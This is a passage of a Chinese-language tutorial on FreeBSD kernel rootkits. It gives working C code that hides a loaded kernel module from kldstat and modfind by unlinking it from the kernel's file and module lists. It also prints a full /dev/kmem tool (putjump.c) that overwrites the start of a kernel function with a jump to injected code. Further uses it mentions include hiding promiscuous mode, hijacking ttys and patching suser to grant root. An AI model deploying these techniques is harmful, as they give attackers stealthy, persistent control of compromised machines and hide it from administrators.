kldstat -v 区别 ;))
前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们
要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c 此外它还有一个计数单元定义在next_file_id,这个
数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块
extern linker_file_list_t linker_files;
extern int next_file_id;
extern struct lock lock;
[...]
linker_file_t lf = 0;
/* lock exclusive, since we change things */
lockmgr(&lock, LK_EXCLUSIVE, 0, curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf, &linker_files, link) { //宏定义遍历队列得到linker_file结构
if (!strcmp(lf->filename, "cyellow.ko")) {
/*first let's decrement the global link file counter*/
next_file_id--;
/*now let's remove the entry*/
TAILQ_REMOVE(&linker_files, lf, link); //从队列中删除
break;
}
}
lockmgr(&lock, LK_RELEASE, 0, curproc);
下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。
extern modulelist_t modules;
extern int nextid;
[...]
module_t mod = 0;
TAILQ_FOREACH(mod, &modules, link) {
if(!strcmp(mod->name, "cy")) {
/*first let's patch the internal ID counter*/
nextid--;
TAILQ_REMOVE(&modules, mod, link);
}
}
[...]
现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含
了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,
它是我相信可能还有其它的方法来找到它。
3.6 其它的应用
还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0
下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用
tcpdump接口的模式也不会是混杂。(:))
当然通过/dev/kmem你可以得到很多有趣的的东西;)
4.内核补丁
模块并不是唯一的修改内核的途径,我们还可以利用/dev/kmem来复写已经存在的数据,代码。在技术节中我已经描述了大概的方法
,现在我们的关键是写/dev/kmem.
4.1 介绍
简单的测试我们可以只是在某个内核函数的开始处写如一个返回地址,我们用内核模块来做这样的测试,它不会影响正常的运行,
现在我们不让CY运行在隐蔽的模式,我们写一个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生,cy_ctl会简单的返回,
在tools/putreturn.c 有例子代码。
4.2 插入跳转
非常简单可以插入一些跳转到某些函数,这样可以重定向到我们的代码,并且不用修改系统调用表核任何其他的表格,这意味着你并不
需要加载一个模块来完成这件事,通过写/dev/kmem,当然了你也可以加载模块来完成。
在tools/putjump.c:
/*这里是那个非常经典的lkm里来自 Silvio Cesare <silvio@big.net.au> e4gle@whitecell 前辈翻译过
修改指定函数地址的前7个字节,来跳转到我们的代码*/
/* the jump */
unsigned char code[] = "xb8x00x00x00x00" /* movl $0,%eax */
"xffxe0" /* jmp *%eax */
;
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
if(argc < 3) {
fprintf(stderr,"Usage: putjump [from function] [to function]n");
exit(-1);
}
nl[0].n_name = argv[1];
nl[1].n_name = argv[2];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %sn",errbuf);
exit(-1);
}
if(kvm_nlist(kd,nl) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(!nl[0].n_value) {
fprintf(stderr,"Symbol %s not found.n",nl[0].n_name);
exit(-1);
}
if(!nl[1].n_value) {
fprintf(stderr,"Symbol %s not found.n",nl[1].n_name);
exit(-1);
}
printf("%s is 0x%x at 0x%xn",nl[0].n_name,nl[0].n_type,nl[0].n_value);
printf("%s is 0x%x at 0x%xn",nl[1].n_name,nl[1].n_type,nl[1].n_value);
/* set the address to jump to */
*(unsigned long *)&code[1] = nl[1].n_value;
if(kvm_write(kd,nl[0].n_value,code,sizeof(code)) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
printf("Written the jumpn");
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
4.3 替换内核代码
为了避免修改已经存在的表,我们可以采用jump的方法,但是我们还是必须要提供自己的代码,有些时候这可能很方便的修改已经存在
的代码,但是这不是通用的方法,因为它不能修补版本高的内核(???)并且取决于编译器的实现。
为了鉴别用户是否是root 或者超级用户,内核调用suser,然后suser返回并调用super_xxx,这将会检查用户是否是root,并授予某些
特权,比如原始套节字,我提供了一个例子来演示修改已经存在的代码,首先我们要找到这个函数的地址,用 nm /kernel
关键词:玩转freebsd内核模块